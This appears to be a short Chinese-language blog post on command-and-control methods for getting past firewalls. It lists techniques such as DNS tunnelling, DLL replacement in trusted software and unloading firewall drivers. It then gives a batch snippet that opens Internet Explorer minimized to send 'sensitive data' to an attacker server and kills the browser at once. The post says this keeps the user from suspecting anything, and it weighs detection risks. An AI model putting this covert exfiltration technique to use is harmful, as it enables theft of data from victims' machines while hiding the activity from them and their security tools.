最近在研究C&C的东西,看到了几个绕过防火墙的思路:

  1. 利用DNS查询绕过
  2. 利用浏览器绕过
  3. 替换被信任软件的动态链接库绕过
  4. 获得内核权限绕过
  5. 卸载本地防火墙的驱动
  6. 利用被信任的系统软件绕过(比如Linux下使用ping或者whois传输文件)

因为第一个经常见到,我们也很方便做到,所以我们来讨论一下怎么利用浏览器绕过防火墙。首先,你需要知道以下事实:

  1. 防火墙一般不会阻止浏览器,因为用户每天用浏览器访问各式各样的网站,他们的IP不尽相同。
  2. Windows 10下有两个浏览器,一个Edge,一个IE。
  3. 我尝试直接调用”C:\Program Files\Internet Explorer\iexplore.exe”来打开IE,但事实却是打开了一个Edge新标签。
  4. 我暂时没有找到怎么完全隐藏IE和Edge的窗口,而且Edge的命令行(microsoft-edge)的参数是个未知数。

好,我们继续,我们可以用下面的代码完成一次敏感数据提交:

1
2
start /min iexplore http://ip/data
taskkill /IM iexplore.exe

我想没有人会在Windows 10下用IE,我们最小化打开IE,访问我们的服务器并立即杀死IE进程的话就可能不会被用户怀疑(当然你必须考虑到访问速度这一个重要因素)。而服务端只需要跑一个保存data的脚本即可。
我考虑到了以下问题:

  1. 大批量攻击被发现的时候,被直接ban IP。
  2. 非80端口的异常访问被怀疑的机会几乎为0,但是不排除被防火墙提交到云端的可能。
  3. 万一IE这时候弹个窗出来提醒用户IE安全设置等。

班门弄斧,笑话了。